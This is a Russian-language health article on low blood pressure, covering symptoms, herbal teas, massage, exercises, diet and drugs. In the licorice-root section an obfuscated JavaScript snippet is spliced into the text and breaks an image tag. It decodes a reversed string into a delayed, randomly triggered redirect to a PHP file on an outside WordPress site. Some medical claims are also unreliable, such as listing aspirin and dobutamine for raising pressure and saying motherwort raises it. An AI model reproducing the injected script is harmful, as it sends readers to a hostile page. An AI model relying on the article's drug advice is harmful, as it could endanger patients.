Если гипотония сопутствует человеку на протяжении его жизни, то он должен знать способы первой помощи при понижении артериального давления. Для улучшения самочувствия можно не только прибегнуть к приёму лекарственных средств, но и использовать более безвредные фитопрепараты, методы народной медицины, массажа и физкультуры.
Содержание
Причины и симптомы гипотонии
Пониженное давление, иначе гипотония — состояние менее опасное, чем гипертония, однако пациент с низким давлением также нуждается в медицинской помощи и врачебной консультации. Если при нормальных значениях 120/80 ммм рт. ст. человек себя чувствует отлично, то гипотоник, на долю которого выпадают частые головокружения, при измерении давления тонометром увидит показания ниже 100 мм рт. ст. Гипотония может быть и острой — в этом случае давление понижается стремительно, и хронической.
Постоянная гипотония не проявляется яркими симптомами, для неё характерны частая дурнота, пульсирующие головные боли, потливость, низкая температура тела (около 36 градусов), холодные конечности и бледность кожи. Гипотоник менее работоспособен, ему присущи апатичное настроение и раздражительность.
Пониженное давление — следствие низкого тонуса кровеносных артерий и сосудов, а также более медленного кровообращения. Гипотония по принципу происхождения подразделяется на 2 типа:
- Первичная, унаследованная пациентом от родителей. В это случае для человека характерно худощавое телосложение, более часто пониженное давление наблюдается у женщин и подростков.
- Вторичная форма, развившееся вследствие перенесённого гепатита, анемии, цирроза печени, язвенной болезни или аллергических реакций.
Если пациент подвержен постоянным физическим нагрузкам, то у него также может развиться гипотония (например, у спортсменов). Однако такое состояние не постоянно, при хорошем отдыхе и питании давление снова становится нормальным.
Видео: о признаках гипотонии и причинах её появления
Избежать приступов при гипотонии можно, соблюдая здоровый образ жизни и сделав из этого привычку.
Гипотонику полезны умеренные физические нагрузки, исключение стрессовых ситуаций, здоровый сон, правильное питание и прогулки, отказ от вредных привычек. Всё это способствует более быстрому кровообращению, укреплению стенок сосудов и повышению их тонуса.
Если приступы гипотонии не уменьшаются при постоянном соблюдении ЗОЖ, необходимо пройти врачебное обследование для выявления истинной причины снижения артериального давления.
Принципы лечения гипотонии
Препаратов, разработанных для постоянного приёма с целью повышения артериального давления, очень мало. Врачи сходятся во мнении, что гипотоникам следует больше уделять внимание поддержке здорового и активного образа жизни, при этом занятие физкультурой будет основным способом укрепления и повышения тонуса кровеносных сосудов.
Помимо постоянной физической активности, необходимо уделить внимание и последующему полноценному отдыху: рекомендации для 8-часового сна не подходят для людей с пониженным давлением, гораздо лучше такие пациенты чувствуют себя при ночном сне продолжительностью от 10 часов и до 12.
Пробуждение должно происходить постепенно, не нужно резко вскакивать на ноги — это непременно приведёт к головокружению и ухудшению самочувствия.
Лучшим началом дня для гипотоников служит употребление кофе, который приводит в тонус сосуды.
Только при недостаточной эффективности принципов лечения гипотонии следует прибегать к поддерживающей терапии медикаментами, подобранными врачом в индивидуальном порядке.
Способы повышения давления
Повысить давление можно разными путями, причём часто гипотоник выбирает более действенный для него способ индивидуально, методом подбора. Кто-то не хочет употреблять медикаменты, другие люди не доверяют народной медицине. Часто человеку требуется повысить только нижнее или только верхнее давление, поскольку второй показатель вполне устраивает и пациента, и врача.
Низкое верхнее давление
По сути, гипотония и есть пониженное верхнее давление, иначе его называют систолическое. Оно отображает параметры давления крови при сокращении сердца, нижнее же давление отображает показатели при расслаблении сердечных мышц. При маленькой разнице между этими значениями доктор заподозрит развитие патологических явлений в организме.
При низком верхнем давлении врачи рекомендуют обратить особое внимание на состояние мышц шейного отдела позвоночника. При острой необходимости повышения верхнего АД следует принять одни из препаратов: Цитрамон, Аспирин, Добутамин. Народная медицина в этом случае рекомендует приём следующих настоев:
- кипрея узколистного;
- чая со смородиновым листом;
- корня цикория и кофейных зёрен;
- корня сельдерея;
- листьев алоэ;
- корня имбиря и лимона.
Не стоит сразу применять несколько способов повышения давления или увеличивать дозировку, это грозит резким ухудшением самочувствия.
Человек адаптируется к низкому давлению, с которым жил длительное время, поэтому даже незначительное увеличение его выше стандартного показателя может привести к усугублению ситуации. Увеличение цифр на тонометре сопровождается появлением одышки, нарушением сна, шума в ушах, головной боли и чувства «жара» на лице и теле.
Низкое диастолическое давление
Нормой считается показатель низкого давления в диапазоне 70–8-0 мм рт. ст, при этом разница с верхним давлением должна составлять от 30 до 40 мм рт. ст. Более низкие значения говорят о застое крови и ослаблении сосудов.
Обычно сниженное диастолическое давление служит симптомом сопутствующего заболевания. При эффективной терапии основного недуга нижнее давление также повысится. Если же помощь нужна здесь и сейчас, то врачи рекомендуют обратить внимание на фитотерапию (употребление корня женьшеня и семян лимонника) и медикаменты, приводящие вены в должный тонус и укрепляющие сосуды (Аскорутин, Кверцетин).
Аптечные фитопрепараты для увеличения АД
Если понижение давления не вызвано болезнью, а является наследственным или беспричинным, то навсегда устранить его вряд ли удастся, но можно значительно облегчить состояние недомогающего человека при помощи фитотерапии.
Нижеперечисленные лекарственные растения рекомендуются врачами для повышения АД. Встретить подходяшие травы можно в любой зелёной аптеке, они являются весьма распространёнными и стоимость упаковки невысока.
Корень солодки
Содержит глицирризин, способствующий увеличению в организме натрия и воды и, как следствие, повышающий давление. Для приготовления настоя из корня солодки необходимо:
- Чайную ложку измельчённого корня залить 250 мл кипящей воды.
- Настаивать корневища 5 минут.
- Процедить готовый настой.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/07/koren-solodki-728×487.jpg» alt=»Корень солодки» width=»728″ height=»487″ /> Корень солодки (лакричник) не стоит употреблять людям, страдающим гипертонией, так как он способствует повышению артериального давления
Пустырник
Благодаря содержащимся в пустырнике активным веществам (танинам, кофейной кислоте, флавоноидам и алкалоидам), употребление чая из этой травы повышает давление. Чай приготовить просто:
- Чайную ложку пустырника насыпать в стакан кипятка.
- Закрыть крышкой стакан и настаивать четверть часа.
- Процедить настой через марлю.
Элеутерококк
Корни этого растения богаты гинзеноцидами, повышающими артериальное давление. При гипотонии рекомендуют готовить чай следующим образом:
- Чайную ложку измельчённого корневища залить 250 мл кипящей воды.
- Накрыть крышкой и настаивать 10 минут.
- Процедить готовый чай.
Женьшень
При правильном приготовлении корневища женьшеня, это лекарственное растение может как повысить артериальное давление, так и понизить его. Женьшень понижает количество свободных радикалов, которые вызывают болезни сердца и сосудов. Для повышения уровня артериального давления чай готовят по инструкции:
- Две чайные ложки измельчённого корня заливают стаканом кипятка.
- Настаивают корни 20 минут.
- После процеживания чай можно пить.
Чай чёрный
Обычный чёрный чай, имеющийся на каждом кухонном столе, служит хорошим средством для роста давления. Чай содержит кофеин, повышает давление и тонизирует. Заваривать чай можно привычным способом, но лучше всего использовать не пакетированный, а развесной чай без добавок из аптечной сети.
Розмарин
Вещества, которые содержатся в розмарине, оказывают стимулирующее действие на ЦНС и улучшают кровообращение. Розмарин применяют в виде масла, которое следует втирать в поверхность кожи в области грудной клетки.
Приготовление масла:
- Листья розмарина слегка размять, отмерить четверть стакана листьев и пересыпать в подходящую банку из стекла.
- Залить листья подсолнечным или оливковым маслом.
- Поставить банку на двое суток под солнечные лучи.
- Процедить готовое масло.
Народные средства для повышения АД
Народная медицина часто переплетается с фитотерапией, однако употребление вышеперечисленных фитопрепаратов давно перешло в традиционную медицину благодаря их эффективности. Народные же способы повышения давления не всегда оказывают нужный эффект или имеют кратковременное действие.
Алкоголь
Алкоголь действительно повысит давление на 10 мм рт. ст., однако последствия такого лечения могут отрицательно сказаться на тонусе сосудов и здоровье в целом. Пожалуй, это народное средство можно применить при абсолютном неимении прочих методов оказания помощи.
Контрастный душ
Принятие душа с перепадами температур не только способно увеличивать давление, но и укрепляет сосудоы и улучшает их состояние. Минусом является полученный кратковременный эффект, поэтому лучше проводить такие процедуры ежедневно, меняя температуру воды по истечении минуты пребывания в душе. Закончить принятие душа следует на холодной воде, после чего растереть все тело полотенцем.
Спорт
Конечно, при гипотонии больному будет сложно заняться полноценной тренировкой в зале. Однако даже пешая прогулка на свежем воздухе содействует поднятию давления и улучшению самочувствия.
Солёные огурцы
Солёные бочковые огурцы способствуют повышению давления, поскольку способны задерживать жидкость в организме и уменьшить обезвоживание.
Массаж
Точечный самомассаж можно проводить в качестве первой помощи при гипотонии.
Начинать следует с затылка:
- сильным надавливанием пальцев пройтись по центру затылочной зоны;
- в области сонной артерии по её краям найти 2 точки на расстоянии 3–4 см друг от друга и массировать их лёгким нажатием;
- несколько раз надавить большим пальцем на точку между носом и ртом до чувства лёгкой боли;
- промассировать основание ногтя мизинца на правой, затем на левой руке;
- промассировать точку между лопатками самостоятельно либо попросить помощи.
При гипотонии полезно делать массаж конечностей, растирание, разминание до появления чувства тепла и их согревания.
Упражнения для поднятия АД
Уже упоминалось, что спорт положительно влияет на здоровье кровеносных сосудов, однако есть ещё и специальные упражнения, способствующие скорейшему поднятию артериального давления. Гимнастика включает в себя небольшие комплексы для рук, ног, головы и шеи, которые под силу выполнить каждому человеку.
Упражнения для рук
Комплекс выполняется из исходного положения лёжа на спине:
- сжатие и разжимание кулаков, произведённое с усилием, 10 раз;
- потягивание: прямыми руками вверх, затем в стороны, после в направлении вниз вдоль тела, 6 подходов;
- «гантели»: представляя в руках гантели, с усилием поднимать руки вверх, согнуть в локтях, разогнуть — 5 раз;
- перекатывания из исходного положения вправо и влево по 3 раза.
Упражнения для нижних конечностей
Совершать подходы необходимо так же лёжа, что хорошо при выполнении зарядки после пробуждения.
- попеременное поднятие ног лёжа на спине по 5 раз, затем одновременное поднятие обеих ног — 3 раза;
- поочерёдное «рисование» ногами фигур в воздухе — круга, квадрата, треугольника;
- сгибание и разгибание ног в колене, по 5 раз.
Упражнение для шеи и головы
- повороты головы к правому и левому плечу, совершаемые в медленном темпе;
- перекаты головы по кругу, вправо и влево.
Каждое упражнение следует выполнять по одной минуте.
Питание
Соответствующее питание и питьевой режим способствуют нормализации пониженного давления. При этом гипотонику нужно придерживаться следующих правил:
- количество чистой воды, употребляемой в сутки, должно составлять 2 литра;
- питание должно быть дробным и регулярным, от 5 раз в день;
- рацион должен включать в себя определённые продукты:
- соль и еду с повышенным её содержанием (солёная рыба, орехи, семечки, огурцы и другие заготовки);
- острые специи и приправы (имбирь, перец, горчица, паприка);
- напитки с кофеином: чай чёрный и зелёный, травяной, кофе свежемолотый;
- овощи и фрукты с повышенным содержанием аскорбиновой кислоты (капуста, салат и свежие ягоды);
- продукты, содержащие калий и магний (бананы);
- продукты животного происхождения с высоким содержанием железа, если гипотония вызвана анемией (печень говяжья, говядина, баранина);
- еду животного происхождения с витамином В3: печень, яйца, цельное молоко.
Лекарственные препараты
При потребности в медикаментозной помощи гипотонику в первую очередь необходимо посетить кардиолога для консультации и назначения верного лечения. Если растительные препараты не оказывают должного воздействия, врач пропишет синтетические аналоги для поддержания нормальной работы кровеносной системы.
При гипотонии запрещено употребление лекарственных средств, побочным эффектов которых является снижение артериального давления.
Стимуляторы центральной нервной системы — основные вещества, которые можно применять в домашних условиях, хотя их список ограничен. Многие из этих препаратов рецептурные либо используются в стационаре, поэтому в домашних аптечках они не встречаются.
Стимуляторы ЦНС способны не только активизировать физическую, умственную деятельность и повышать работоспособность, но и увеличивать АД, причём делать это постепенно, не скачкообразно. Среди легальных стимуляторов более популярен кофеин.
Видео: действие кофеина на человека
Среди медикаментов часто назначается Кофеин-бензоат натрия, препарат является психостимулятором и повышает одновременно верхнее и нижнее давление.
Также кофеин содержится во всем известном Цитрамоне, в котором ещё присутствует парацетамол, оказывающий обезболивающее действие. Ещё одним препаратом низкой ценовой категории является Аскофен, содержащий кофеин, парацетамол и аспирин, который тоже повышает артериальное давление наряду с оказываемым противовоспалительным эффектом. Также буквально за десяток рублей можно купить в аптеке Кофицил-плюс, который не только избавит от головной боли, но и увеличит цифры на тонометре.
Кордиамин (Никетамид)
Препарат является стимулятором ЦНС, который нормализует АД, повышает сосудистый тонус, делает сознание более ясным, а дыхание — глубоким. Представлен в инъекционной или капельной лекарственных формах, в зависимости от тяжести состояния пациента врач назначает подходящий метод введения.
Кордиамин — рецептурный препарат, может применяться как средство экстренной помощи, поскольку после инъекции действует уже через минуту и выводит человека из обморочного состояния. Для обычного домашнего приёма более подходит капельная форма.
Гутрон
Гутрон (мидодрин) выпускается в каплях и таблетках в качестве помощи при снижении АД более, чем на 20% от нормы. Применяется при выраженной гипотензии и обладает сосудосуживающим действием. Является альфа1-адреностимулятором, при этом не оказывает непосредственного воздействия на адренорецепторы сердца. Применяется в детской и взрослой практике при назначении врача.
Тонизирующие препараты
Помимо приготовления настоев и отваров для увеличения АД, можно купить готовые тонизирующие препараты в аптеках, представленные в виде спиртовых настоек. Такие средства принимает дважды в день перед едой: утром и в обед, исключая вечерний приём.
Фотогалерея: тонизирующие настойки
-
- Гипотония в хронической форме не несет угрозы жизни, однако существенно сказывается на ее качестве
-
- Соблюдение правильного режима дня и принципов ЗОЖ помогут улучшить состояние гипотоника
-
- Гипотоники более метеозависимы и плохо переносят жару, но еще хуже реагируют на влажность, пасмурность и ветреность
-
- Кофе возбуждает нервную систему и ускоряет кровообращение, оказывая бодрящее действие на весь организм в целом
-
- Полноценный отдых — залог здоровья у гипотоников
-
- Если у вас тошнота, рвота, нарушение сознания, вы себя чувствуете очень слабо — значит прогрессирует гипотонический кризис
-
- Если снижение давления — симптом тяжелых неотложных заболеваний, повышать его должны только специалисты в условиях стационара
-
- Врачи не рекомендуют пить спиртное в качестве терапии гипотонии
-
- Эффективно повысить давление в домашних условиях можно с помощью точечного массажа в области затылка
-
- Одним из эффективных методов борьбы является специальная гимнастика, которая способствует улучшению кровообращения и нормализации артериального давления.
-
- Соль и специи — первые помощники при гипотонии
-
- Препарат решает проблему постоянной сонливости и высокой утомляемости, которая приносит человеку дискомфорт
-
- Кофеин — обладает способностью расширять кровеносные сосуды, улучшает работу головного мозга
-
- Препарат показан при остром снижении АД, купить лекарственное средство можно только по рецепту
-
- Специальная гимнастика способствует улучшению кровообращения и нормализации артериального давления
-
- Кордиамин применяется как в педиатрии, так и для взрослых пациентов
-
- Гутрон обладает сосудосуживающим действием, повышает сопротивление сосудов и АД
-
- Женьшень обладает тонизирующими свойствами, повышая АД
-
- Для стабильного повышения АД рекомендуется длительный приём настойки аралии
-
- Экстракт элеутерококка — общетонизирующее средство, показанное к применению при артериальной гипотонии
-
- Левзеи экстракт жидкий оказывает общетонизирующее действие, повышает работоспособность
-
- Приём целебного настоя из заманихи оказывает на организм стимулирующее, тонизирующее, противодиабетическое и противовоспалительное действие
-
- Настойка лимонника оказывает стимулирующее действие на ЦНС, сердечно-сосудистую и дыхательную систему, повышает АД
-
- В лечении гипотонии у беременных используются щадящие средства, которые не навредят плоду
-
- При низком давлении у пожилого человека может быть повышенное сердцебиение — это признак гипотонического криза и повод немедленно вызвать скорую помощь
-
- Слабо заваренный напиток понижает давление, а крепкий чай вначале повышает АД, а затем его нормализует
-
- Корень солодки (лакричник) не стоит употреблять людям, страдающим гипертонией, так как он способствует повышению артериального давления
-
- Благотворно влияя на сердце, женьшень также улучшает состояние пациентов с ВСД по гипотоническому типу
-
- Потребляя фрукты, способствующие повышению давления, следует отдать предпочтение таким из них, которые богаты клетчаткой, улучшающей работу сердечно-сосудистой и кровеносной систем
Повышение давления при беременности
Многие женщины страдают из-за пониженного артериального давления в период вынашивания малыша. Такое поведение организма обусловлено повышенной выработкой прогестерона. Также возможны скачки давления от низких показателей к высоким, что более ощутимо со второго триместра беременности.
При периодическом кратковременном снижении артериального давления доктора обычно не назначают лечения беременным. С началом третьего триместра давление выровняется и былые скачки не возобновятся. Если давление постоянно держится на низком уровне, то следует начать лечение для избежания проблем со здоровьем ребёнка, которые обусловлены гипотонией будущей матери.
Медикаменты для борьбы с пониженным давлением редко назначаются беременным, более популярны средства народной медицины и фитотерапия, приемлемая при отсутствии аллергии на лекарственные травы (часто будущим матерям назначают настои земляники, шиповника и малины). Также для улучшения кровотока и повышения тонуса кровеносных сосудов врач рекомендует беременным пройти курс массажа и физиотерапии, чаще совершать прогулки на свежем воздухе и придерживаться правил сбалансированного питания.
Повышение давления в пожилом возрасте
При постоянном наблюдении признаков гипотонии в пожилом возрасте замечено, что со временем болезнь перерастает в ортостатическую гипотензию: при таком заболевании замечается резкий упадок артериального давления при смене положения тела с горизонтального на вертикальное, что является признаком серьёзного нарушения работы ЦНС. Гипотензия часто сопровождается головокружением и обмороком, причём вероятность развития такой болезни выше у тех пожилых пациентов, которые страдали от гипотонии ещё в молодости. Симптомы ортостатической гипотензии чаще появляются в утренние часы, но при патологических значениях АД проявления болезни могут быть круглосуточно.
Пожилым людям рекомендуют следующие методы помощи, направленные на снятие симптоматики гипотонии:
- приём лекарственных настоек (часто людям в возрасте рекомендованы настойки боярышника и валерьянки);
- употребление чая из мелиссы перед сном;
- приём препаратов в дозировке, подобранной врачом:
- Пирацетам;
- Сапарал;
- Глицин;
- Цитрамон;
- Пантокрин;
- соблюдение режима дня, периодов активности и отдыха;
- избежание переедания.
Пожилым рекомендуется вести дневник давления — записывать показания АД в тетрадь для определения средних значений и предъявления записей на приёме у врача.
Искусственное повышение АД
Зачастую люди пытаются повысить давление искусственно, преследуя цели получения больничного, откоса от военной службы, избежания контрольной работы и прочего. Для этого часто применяют как относительно безопасные методы (спорт, чашечка кофе, энергетики), так и более серьёзные (употребление медикаментов на основе эфедрина и кофеина).
При этом нельзя сказать о наносимом вреде организму совершенно точно. Каждый человек и его состояние здоровья — индивидуальны, что для одного обернётся скачком давления до 180/130 и головной болью, для другого может быть причиной череды токсических явлений: расстройства кровообращения, тремора конечностей, рвоты, сыпи, бессонницы.
Также могут проявиться неблагоприятные последствия, вызванные передозировкой препаратов. Так, при превышении нормы употребления кофеина могут появиться звон в ушах, боль в животе, беспокойство и спутанность сознания, судороги. В качестве первой помощи необходимо сделать промывание желудка и принять активированный уголь.
Гипотония не смертельна, однако заболевание чревато неприятной симптоматикой. Лучшим лечением будет соблюдение правильного питания и здорового образа жизни, регулярные занятия спортом. Если гипотония является последствием заболевания, то при правильном лечении она пропадёт.
